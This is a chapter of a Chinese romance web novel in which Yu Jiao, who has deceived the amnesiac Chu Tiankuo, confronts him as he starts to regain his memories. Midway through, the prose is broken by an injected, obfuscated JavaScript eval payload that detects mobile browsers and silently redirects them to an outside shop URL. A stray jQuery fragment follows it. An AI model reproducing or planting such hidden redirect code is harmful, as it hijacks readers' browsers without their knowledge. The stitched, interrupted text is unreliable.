也许是久违睡到了舒适的床榻，这一觉虞皎睡得很好，以致于第二天醒来后人还有点恍惚。
唤醒她的是食物的香味，刚睁开眼便下意识耸动了两下鼻子，因为实在太香了。
明明只过去了半个月，她却觉得自己好久都没闻到过这种特属于米粥的香味。
吸入、然后过肺接着吐出，重复以上动作。
等到整个人都被这种香气包围充盈时，她才恢复真正的意识。
慢腾腾伸手往旁边一摸，却发现凉风早她一步占据了那位置。
昨天刚到时，这个小屋虽然干净，却无一丝烟火气，然而今天一起来却完全大变样了。
空气中不但有食物的香味，入眼所见，她的东西全都摆在最显眼的位置，都是她以前熟悉的模样。
例如她离开石蟠村前看得最后一本书，如今就放在书桌最上面，似乎就在那等着她去翻阅。
寻着香味来到厨房，掀开锅盖一瞧，果然就见上面正热着一碗香喷喷、热乎乎的菌菇蔬菜粥和一碟芝麻饼。
一口粥下肚，好喝到虞皎整个头皮都在那一瞬间舒展开来。
芝麻饼也很香，就在她沉浸式吃早饭时，就听到外面传来一阵欢快的狗叫声。
虞皎抬起头下意识望向门口，却只来得及看到了一片熟悉的衣角，她没有立即起身，而是继续慢条斯理地喝完最后一口粥，才走了出去。
刚到门边，便见楚天阔在院中菜地里直起身，袖口、裤脚的衣服全挽了起来，而阿黄正摇着尾巴凑在他脚边，小小的身子上满是泥土，见到她便跑过来撒欢。
见它如此的欢快模样，虞皎忽然想到一件事，那就是他们以后可能不需要担心菜地施肥的问题。
毕竟已有一个现成的帮手在身边。
楚天阔余光一直在关注着屋里的情况，见虞皎走出来，有些羞窘地低头擦拭去袖口的泥渍。
“这里还空出一小片，你要不要种一些药材？”
他抬头问虞皎，犹记得之前她提过一嘴想在院中种一些东西。
虞皎诧异地挑了挑眉，脚下刚一动弹，便听到楚天阔阻拦，“这里脏，还是别过来了，省得把你的衣服弄脏。”
虞皎愣了下，指了指自己身上明显是男子的衣裳，“这是你的，不过没事，反正脏了你会洗干净的，对吗？”
她说的很自然，楚天阔也不觉得这话哪里不对。
毕竟虞皎的手做的都是救死扶伤的大事，而他现今最多只有一身武艺可以拿得出手，正好可以帮忙做些脏活累活。
“地大概有多大一块？”
被阻拦后，虞皎倒没真傻到有苦硬吃的地步，隔着一段距离问楚天阔。
楚天阔立即将种完菜籽，空出来的地方比划了个大概给她看。
虞皎很满意。
其实重点不在于地有多大，也不在于她是否真的要种药材，令虞皎满意的点是楚天阔将她之前随口说的一句话听进了心里。
这里面代表的含义不言而喻，然而对于虞皎来说还不够。
因为她自己有多清楚自己的自私，也明白如今的一切都是基于谎言。
但凡明天谎言被戳穿，一切感情归零。
“今天的粥还合胃口吗？”
楚天阔走到井边打水洗手，声音里带着一丝不易察觉的紧绷，他还记得在路上虞皎胃口不好，短短几天就瘦了不少。
不知是单纯讨厌吃野味，还是……不喜欢他的手艺。
虞皎点了点头，没有迟疑，带着几分疑惑，“很好喝！所以这就是你刚刚偷看我的原因，怕我不喜欢？”
背对着虞皎洗手的男人看模样明显松了一口气，他擦干手转过身，声音较刚才也多了几分轻松。
“那就好，后面你要是有什么想吃的就告诉我，我来做。”
说完这句话，他沉默了片刻，院子里有风吹过新翻泥土的微腥气息，以及远处隐约的市井喧嚷。
楚天阔忽然开口，语气有些飘忽：“我昨晚头又疼了。”
“嗯？”
虞皎心头微动，面上却仍平静，“那你怎么没喊我，说不定我可以通过针灸帮你舒缓一下。”
她像是想到了什么，忽然眼睛眨也不眨地盯着楚天阔，问道。
“你是不是想起了什么？”
楚天阔不会无缘无故忽然提起，虞皎蹙眉，表面看上去似乎是在为他头疼的事担心。
“嗯，一点。”
说话间，楚天阔朝着虞皎慢慢走近，他的神情很平静，平静到虞皎有一瞬间想将人推开，然后转身离开。
但最终她还是克制住了那股冲动，然后就这么看着楚天阔渐渐停在她面前。
下一秒他开口了。
“我好像记起了一些片段，梦中我骑着马一路离开京城，似乎是为了履行一个承诺，去接一个人。”
他顿了顿，然后摇了摇头，“后来我在路上遭了埋伏，马匹受惊，跟其余人分散后摔下了山坡。再醒来后，见到的便是你了。”
虞皎前世并不关注衡王府的事，只偶然间听见萧琏与旁人提到过几句。
那个时候正是萧琏需要她的时候，不但将自己从不离身的玉牌给了她，还给了她可以自由出入皇子府等诸多别人没有的权利。
以至于她那时即使只当他是恩人，为了报恩才留在他身边，后面还是因为愧疚，留下来帮他做了一件又一件的事。
到了最后，她都不知道自己究竟对他是什么感情。
可惜没等她想明白，他成功后，第一个要清理的人也是她。
而如今她对楚天阔做的，又跟当初萧琏对她……有什么区别？
虞皎的沉默落在楚天阔眼中，却是另一种意味。
他抬起眼，目光直直望进虞皎眸中，脸上闪过一丝庆幸、后怕。
还有一丝极淡的、连他自己或许都未全然察觉的委屈。
“所以皎皎，当初你为什么要装不认识我？”
虞皎的眼睛微微睁大，楚天阔这是以为他记起的承诺对象是自己？
她反应极快，将两者联系到一块儿确实说得通。但她心中无比清晰，楚天阔记起的人不是自己，她只是个趁他失去记忆，利用他的心机者罢了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17566550|203562||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
但显然楚天阔不这么想，没等她说些什么，就听他接着说道。
“若我当初未曾发现那匣子里的密信，若我一直想不起自己的身份，若我不主动求娶，你……是不是就打算永远瞒着我，只当我是个陌生人？”
这话问得突然，却又在意料之中。
这次虞皎终于没有再逃避，也无法再避轻就重。
抬眸迎上他炽热的目光，“是。”
虞皎坦然承认，声音清晰而平静。
“你我本就地位悬殊，本就不是一个世界的人。若你永远想不起来，那就说明我们之间的缘分本就浅薄。”
说到一半，她语气忽然一转，“或许，你也没想象中的喜欢我，不然为什么连一点关于我的记忆都没。”
楚天阔呼吸一滞，眼底似有光芒黯了黯。
“不、不是这样的。”
他想否认，但事实就如虞皎所说，他确实想不起之前跟她的片刻记忆，这让他愈发愧疚，甚至开始怀疑起了自己。
不过他很快像是想到了什么，可以证明自己的方法。
“你看，我昨晚不就记起，要来找你的承诺吗？一定是之前不在京城，所以才想不起来，以后一定会全都记起来的！”
这个理由实在牵强，就连楚天阔自己都不信，脸上挂着少许尴尬。
看着这样的他，虞皎有时候都在怀疑自己是不是天生有做戏子的天分。
不然为什么谎话都越说越顺，说到最后连自己都骗了。
虞皎为了不让他继续说下去，索性直接伸出手指、堵住了楚天阔的唇瓣，后者几乎下意识闭上了嘴。
“算了，之前都已经过去了。现在我只问你一句话。夫君，这段日子你开心吗？”
楚天阔怔了怔，没想到她会问这个，喉结滚动，回答的却是毫不犹豫。
“开心。”
他盯着虞皎的眼睛，脑海中回忆起第一眼醒来后见到虞皎时的茫然、惊艳，在得知两人有来往时的惊讶与无措，再到后面的愧疚求娶。
眼中柔情愈盛，他再次强调道，“真的很开心，到现在一点也不后悔。”
虞皎微微一笑，心中却有些不自在。
因为楚天阔望着她的眼神，简直炽热得像要将人融化……
她微微侧身，咳嗽两声转移话题，“那就好，其实我也是。无论是失忆前的你，亦或者是现在的你，都是我的夫君，我不后悔遇见你。”
甚至可以说是感谢。
听到虞皎近乎表白的话，楚天阔身体明显绷紧，他张了张嘴，竟一时发不出声音。
虽然楚天阔早就知道两人心意相通，但人嘛，长着一双敏感的耳朵，就是为了听到来自喜欢之人的甜言蜜语后而变得羞红。
即使楚天阔此时还顶着易容后的面具，虞皎却似乎透过了这层伪装，看到独属于他自己的可爱之处。
这时候的楚天阔已经遗忘了自己之前还纠结过的问题，关于虞皎到底喜欢失忆前的他多一点，还是现在的他。
他只知道虞皎承认了两人的关系，并且亲口说了不后悔。